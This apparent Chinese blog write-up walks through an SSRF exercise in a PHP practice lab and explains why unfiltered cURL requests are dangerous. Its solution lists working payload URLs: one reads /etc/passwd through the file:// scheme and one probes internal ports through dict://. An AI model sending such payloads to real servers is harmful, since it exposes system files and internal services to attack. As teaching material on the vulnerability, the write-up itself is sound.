SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者----->服务器---->目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤。
你可以根据"SSRF"里面的项目来搞懂问题的原因
提示
先了解一下php中curl相关函数的用法吧
原理
curl
PHP的cURL函数是一组用于与URL进行通信的函数。它允许你发送HTTP请求(GET、POST等)并获取响应,还支持各种协议,如HTTP、HTTPS、FTP等。cURL函数非常强大,可以用于访问Web API、抓取网页内容、上传文件等各种网络操作。
解法
审查元素。
<div class="page-content">
<a href="ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info1.php">累了吧,来读一首诗吧</a>
</div>
点击链接。
http://172.17.149.214:8765/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info1.php
访问 URL。
http://172.17.149.214:8765/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com
读取文件。
http://172.17.149.214:8765/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
探测端口。
http://172.17.149.214:8765/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:80
声明
本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规。
博主坚决反对任何形式的非法黑客行为,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规,不得用于任何非法目的。对于因使用这些技术而导致的任何后果,博主不承担任何责任。
标签:Web,http,SSRF,ssrf,Writeup,vul,curl,php From: https://blog.csdn.net/qq_34988204/article/details/138733638